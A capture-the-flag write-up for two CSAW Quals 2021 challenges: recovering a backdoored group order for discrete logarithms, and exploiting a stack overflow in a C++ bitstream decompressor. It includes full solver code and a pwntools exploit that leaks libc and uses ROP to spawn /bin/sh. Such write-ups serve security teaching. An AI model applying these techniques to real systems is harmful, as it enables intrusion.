CSAW CTF Quals 2021

Bits

This challenge implements a kleptographic backdoor for discrete logarithms, similar to this. The idea is to generate an RSA group, carefully choosing the primes to embed a smooth-order subgroup. If you know the subgroup’s order, you can implement the Pohlig-Hellman algorithm and solve discrete logarithms. Otherwise, you’re stuck.

We get an oracle which computes discrete logarithms using the backdoor. Given g^x, it will return the 833rd bit of x. Also, we know that the unknown group order is 1006 bits.

We’re going to solve the challenge by recovering the group order, bit by bit. We start off with the MSB, which is guaranteed to be 1. Hence, our estimate for the group order is x = 2^1005. Next, we’ll query the oracle with g^(x + 2^1004). If the oracle returns 1, we know that x + 2^1004 has wrapped around, and therefore exceeds, the order. If the oracle returns 0, we will update our estimate to be x + 2^1004. In this manner, we can iteratively recover the upper 122 bits of the group order.

The next bit corresponds with the oracle’s output, which is tricky to handle. We’ll just guess this bit, update our estimate x, and move on to recovering the lower 883 bits of the group order. Consider -x modulo the group order, which is an 883-bit integer y. Notice that the group order is equal to x + y, so it suffices to recover y.

To recover y, we’ll come up with an algorithm to solve 883-bit logarithms and apply it to h = g^(-x). The idea is to perform a binary search, where the lower bound is 0 and the upper bound is 2^883. For any guess z, we’ll query the oracle with h * g^z. The oracle will return 1 if y + z is at least 2^883, and 0 otherwise. The binary search will find the z such that y + z = 2^883 - 1, and then we solve for y.

Now that we have the group order, we can compute discrete logarithms ourselves. The order’s factorization is conveniently on factor.db, and the rest of the challenge is fairly straightforward.

from tqdm import tqdm
from pwn import process, remote

n = ...
g = 2
nbits = 1006

nc = remote('crypto.chal.csaw.io', 5010)
nc.recvuntil('FLAG = ')
nc.recvline()

def query(y):
  nc.sendline(str(y))
  return int(nc.recvline())

def get_high_bits_of_order():
  x = 2**(nbits - 1)
  assert query(pow(g, x, n)) == 0
  for i in tqdm(range(nbits - 2, nbits - 123, -1)):
    if query(pow(g, x + 2**i, n)) == 0:
      x += 2**i
  return x

def solve_small_logarithm(h):
  z = 0
  for i in tqdm(range(nbits - 123 - 1, -1, -1)):
    if query(h * pow(g, z + 2**i, n)  % n) == 0:
      z += 2**i
    print(bin(z))
  y = 2**(nbits - 123) - 1 - z
  assert pow(g, y, n) == h
  return y

x = get_high_bits()

guess = 0 # could also be 1
x += guess * 2**883

y = solve_small_logarithm(pow(g, -x, n))
order = x + y
print(order)

from Crypto.Cipher import AES
from Crypto.Hash import SHA256

n = ...
g = 2
publ = ...
alice = ...
flag = bytes.fromhex('6e0..69b')

R = Integers(n)
g = R(g)
publ = R(publ)
alice = R(alice)

order = ...

priv = discrete_log(publ, g, order)
shared = alice^priv

key = SHA256.new(str(shared).encode()).digest()
cipher = AES.new(key, AES.MODE_CTR, nonce=bytes(8))
print(cipher.decrypt(flag))

cold

This is a C++ pwn that decompresses an input string into an output string, both of type std::string. Under the hood, they are abstracted into Bitstream objects. The input bitstream serializes data, opcodes, and the output byte length.

struct std::basic_string_view
{
    uint64_t m_len;
    char* m_str;
};

struct Bitstream
{
    struct std::basic_string_view view;
    int64_t needle;
};

The vulnerability lies in opcode 3, where the output stream reads bits from earlier in the stream and writes them to the needle. During this process, we can read before and write past the allocated buffer.

This is not that impressive if the buffer lies on the heap. Even if there were an interesting heap overflow, the subsequent bounds check would immediately abort the program. Fortunately, std::basic_string is equipped with a small optimization – it uses a buffer on the stack if its length does not exceed 15 bytes.

_Alloc_hider    _M_dataplus;
size_type       _M_string_length;
enum { _S_local_capacity = 15 / sizeof(_CharT) };
union
{
  _CharT        _M_local_buf[_S_local_capacity + 1];
  size_type     _M_allocated_capacity;
};

By declaring a small output length, we’ve obtained a stack overflow! Below is a snapshot of the stack structure taken in main.

gef➤  x/40gx $sp+0x478

0x7fffc790ca28: 0x0000000044434241₀     0x0000000000000000₀
0x7fffc790ca38: 0x000000000000000f₁     0x00007fffc790ca28
0x7fffc790ca48: 0x0000000000000000      0x67a830e6acc54d00
0x7fffc790ca58: 0x00005599b243c330      0x00005599b243b170₂
0x7fffc790ca68: 0x0000000000000000      0x0000000000000000
0x7fffc790ca78: 0x00007fd94a46ab25₃     0x00007fffc790cb68

₀ out_string._M_local_buf
₁ out_stream.view.m_len
₂ _start
₃ __libc_start_main+213

The first thing to do is overwrite out_stream.view.m_len, which is located further down the stack. This allows the output stream’s needle to move freely. I did this by writing ffff, then performing a 0x10-sized repeat.

The next step is to seek forward and update the return address, which is currently __libc_start_main+213. One option is a partial overwrite, but I could not find a working one gadget in the provided libc. Instead I chose to loop back to _start, whose address was already on the stack.

The loop gives enough time to leak a libc address. I found a pointer to main_arena at $sp+0x410 and copied it into the string’s buffer. One thing to note is that Bitstream::get_bit is buggy for negative indices. In particular, if you want the char at _M_local_buf[-x], the least signifcant bit is correct but the upper 7 bits correspond to _M_local_buf[-x+1]. I ended up fixing the leak client-side.

On the second run, I ROP’d to system("/bin/sh").

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

class Bitstream:
  def __init__(self, size):
    self.bits = []
    self.push(size, 0x14)

  def push(self, x, n):
    self.bits += list(bin(x)[2:].zfill(n))

  def write_bit(self, bit):
    self.push(1, 3)
    self.push(bit, 1)

  def write_char(self, char):
    self.push(2, 3)
    self.push(char & 0xff, 8)

  def write_word(self, word):
    for char in p64(word):
      self.write_char(char)

  def repeat(self, offset, n):
    self.push(3, 3)
    self.push(offset, 0xa)
    self.push(n, 0xa)

  def seek(self, offset):
    self.push(4, 3)
    self.push(offset & 0xffff, 16)

  def serialize(self):
    self.push(0, 3)
    return bytes([int(''.join(self.bits[i:i+8][::-1]), 2) for i in range(0, len(self.bits), 8)])

libc = ELF('./libc.so.6')

p = gdb.debug('./cold')

p.recvline()

gap = (0x488 - 0x478)*8

bs1 = Bitstream(15)

bs1.write_char(0xff)
bs1.write_char(0xff)
bs1.repeat(gap, gap)
bs1.seek(-gap - 2*8)

bs1.repeat((0x478 - 0x410)*8, 8*8)
bs1.seek(-8*8)

bs1.seek((0x4c8 - 0x478)*8)
bs1.repeat((0x4c8 - 0x4b0)*8, 8*8)

p.send(bs1.serialize())

p.recvuntil('Output: ')
libc_leak = bytearray(b'\x00' + p.recvline()[:-1].ljust(7, b'\x00'))
for i in range(len(libc_leak)-1):
  libc_leak[i] &= 0b11111110
  libc_leak[i] |= libc_leak[i+1] & 1
libc_base = u64(libc_leak) - libc.symbols['main_arena']

bs2 = Bitstream(15)

bs2.write_char(0xff)
bs2.write_char(0xff)
bs2.repeat(gap, gap)
bs2.seek(-gap - 2*8)

bs2.seek((0x4c8 - 0x478)*8)
bs2.write_word(libc_base + 0x27f75) # pop rdi ; ret
bs2.write_word(libc_base + next(libc.search(b'/bin/sh\x00')))
bs2.write_word(libc_base + libc.symbols['system'])

p.send(bs2.serialize())

p.interactive()